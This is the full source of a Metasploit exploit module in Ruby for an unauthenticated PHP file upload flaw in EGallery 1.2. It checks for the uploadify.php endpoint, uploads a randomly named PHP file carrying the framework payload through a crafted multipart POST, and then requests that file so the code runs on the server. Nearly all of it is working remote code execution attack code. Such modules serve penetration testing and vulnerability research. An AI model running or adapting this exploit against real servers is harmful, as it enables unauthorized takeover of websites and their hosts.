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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "EGallery PHP File Upload Vulnerability",
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      'Description'    => %q{
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          This module exploits a vulnerability found in EGallery 1.2 By abusing the
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        uploadify.php file, a malicious user can upload a file to the egallery/ directory
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        without any authentication, which results in arbitrary code execution. The module
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        has been tested successfully on Ubuntu 10.04.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Sammy FORGIT', # Discovery, PoC
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          'juan vazquez' # Metasploit module
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        ],
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      'References'     =>
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        [
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          ['OSVDB', '83891'],
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          ['BID', '54464'],
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          ['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00"
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        },
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      'DefaultOptions'  =>
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        {
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          'EXITFUNC' => 'thread'
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        },
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      'Platform'       => ['php'],
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      'Arch'           => ARCH_PHP,
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      'Targets'        =>
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        [
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          ['EGallery 1.2', {}]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2012-07-08',
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      'DefaultTarget'  => 0))
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      register_options(
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        [
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          OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
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        ])
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  end
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  def check
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    uri = target_uri.path
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'    => normalize_uri(uri, "egallery", "uploadify.php")
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    })
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    if res and res.code == 200 and res.body.empty?
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      return Exploit::CheckCode::Appears
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    uri = normalize_uri(target_uri.path)
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    uri << '/' if uri[-1,1] != '/'
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    peer = "#{rhost}:#{rport}"
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    payload_name = rand_text_alpha(rand(10) + 5) + '.php'
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    boundary = Rex::Text.rand_text_hex(7)
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    post_data = "--#{boundary}\r\n"
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    post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
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    post_data << "#{payload_name}\r\n"
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    post_data << "--#{boundary}\r\n"
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    post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
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    post_data << "#{uri}\r\n"
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    post_data << "--#{boundary}\r\n"
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    post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
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    post_data << "<?php "
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    post_data << payload.encoded
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    post_data << " ?>\r\n"
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    post_data << "--#{boundary}--\r\n"
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    print_status("Sending PHP payload (#{payload_name})")
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => normalize_uri("#{uri}egallery/uploadify.php"),
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      'ctype'  => "multipart/form-data; boundary=#{boundary}",
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      'data'   => post_data
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    })
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    # If the server returns 200 and the body contains our payload name,
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    # we assume we uploaded the malicious file successfully
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    if not res or res.code != 200 or res.body !~ /#{payload_name}/
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      print_error("File wasn't uploaded, aborting!")
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      return
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    end
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    print_status("Executing PHP payload (#{payload_name})")
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    # Execute our payload
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'    => normalize_uri("#{uri}#{payload_name}")
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    })
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    # If we don't get a 200 when we request our malicious payload, we suspect
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    # we don't have a shell, either.  Print the status code for debugging purposes.
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    if res and res.code != 200
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      print_status("Server returned #{res.code.to_s}")
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    end
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  end
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end
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